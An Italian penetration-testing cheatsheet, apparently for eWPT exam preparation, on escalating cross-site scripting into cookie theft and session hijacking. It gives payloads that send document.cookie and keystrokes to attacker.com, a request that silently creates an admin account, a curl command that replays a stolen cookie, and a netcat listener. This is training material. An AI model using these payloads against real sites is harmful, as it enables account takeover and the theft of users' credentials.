← Tutti i cheatsheet

eWPT · Cross-Site Scripting

Cookie Stealing & Session Hijack via XSS

Difficoltà: Advanced Time to Master: 1.5h Prerequisiti: 06-WAF-Evasion.md Lab: PortSwigger Academy, Exploiting XSS to steal cookies


Obiettivo

Un alert(1) che spunta convince te che il bug esiste, ma non convince un cliente che rischia qualcosa di concreto: qui trasformi una XSS confermata in un impatto vero, il furto del cookie di sessione della vittima per impersonarla, o — quando il cookie non è raggiungibile — azioni per suo conto senza bisogno del cookie (keylogging, furto di token CSRF).


Concetti chiave

Se il cookie ha il flag HttpOnly, document.cookie NON lo include: in quel caso il furto diretto non funziona, serve un approccio diverso (vedi Evasion più sotto).


Strumenti

Tool Comando base Output Note
webhook.site crea endpoint univoco riceve richieste in tempo reale comodo per test/lab senza server proprio
netcat nc -lvnp 80 riceve richiesta grezza alternativa minimale, no HTTPS
server proprio + log python3 -m http.server + access.log riceve e logga richieste pieno controllo

Payload / Esempi

<script>
fetch('http://attacker.com/steal?c=' + document.cookie)
</script>

Esempio 2: esfiltrazione via immagine (bypassa alcune CSP che bloccano fetch/XHR ma non img-src)

<script>
new Image().src = 'http://attacker.com/steal?c=' + document.cookie;
</script>
curl "http://target.com/dashboard" -H "Cookie: session=VALORE_RUBATO"

Oppure via browser: apri DevTools > Application > Cookies, incolla manualmente il valore rubato.

<script>
document.addEventListener('keydown', function(e) {
    fetch('http://attacker.com/log?k=' + e.key);
});
</script>

Spiegazione: se il cookie non è accessibile via JS, l’impatto si sposta su cattura credenziali digitate, azioni eseguite per conto della vittima (CSRF token theft), o interazione diretta col DOM per compiere azioni privilegiate.

<script>
fetch('/api/admin/create_user', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include',
    body: JSON.stringify({username: 'attacker', password: 'pass123', role: 'admin'})
});
</script>

Spiegazione: credentials: 'include' fa sì che la richiesta parta con i cookie di sessione della vittima già autenticata: non serve rubare nulla, l’azione (es. creare un utente admin) avviene direttamente nel suo contesto.


Evasion / Bypass Techniques

Bypass HttpOnly (non possibile via JS, serve altro layer)

HttpOnly blocca solo la lettura via document.cookie; il payload può comunque compiere azioni privilegiate per conto della vittima (vedi Esempio 5) sfruttando il fatto che il browser invia comunque il cookie nelle richieste, semplicemente JS non può leggerlo.

Bypass SameSite=Strict (limita CSRF-style ma non XSS diretta)

Un payload XSS eseguito nello stesso contesto/dominio della vittima non è soggetto alle restrizioni SameSite (che riguardano richieste cross-site): la sessione resta pienamente sfruttabile.


Lab Hands-On

Lab 1: PortSwigger, Exploiting XSS to steal cookies

Obiettivo: rubare il cookie di sessione admin tramite commento stored XSS Difficulty: Difficile Time: 45 min

Walkthrough breve:

  1. Inserisci payload di stored XSS in un campo visto dall’admin
  2. Ricevi il cookie rubato sul tuo endpoint (webhook.site o server proprio)
  3. Usa il cookie per accedere come admin

Common Mistakes

  • Dare per scontato che HttpOnly renda l’XSS “innocua” -> l’impatto si sposta, non sparisce affatto (vedi Esempio 5)
  • Dimenticare credentials: 'include' nelle fetch quando serve sfruttare la sessione della vittima per azioni dirette


Connessioni


Checklist di padronanza

  • So esfiltrare un cookie non-HttpOnly
  • So agire per conto della vittima quando il cookie è HttpOnly
  • So usare un endpoint esterno per ricevere dati esfiltrati
  • Capisco la differenza pratica tra HttpOnly e SameSite